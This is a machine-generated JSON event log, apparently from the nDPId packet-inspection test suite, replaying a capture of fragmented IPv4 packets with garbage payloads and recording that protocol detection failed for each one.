+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916491,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916508,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916520,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916528,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916536,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916544,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916552,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916559,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916569,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1521,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916577,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1522,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916586,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1523,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916593,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916600,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916608,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916615,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916622,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916630,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916637,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916644,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916652,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916660,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916668,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916675,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916684,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916691,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916699,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916707,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916715,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916728,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916736,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916743,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916751,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916758,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916766,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916774,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916781,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916789,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916799,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916808,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916815,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916823,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":916830,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 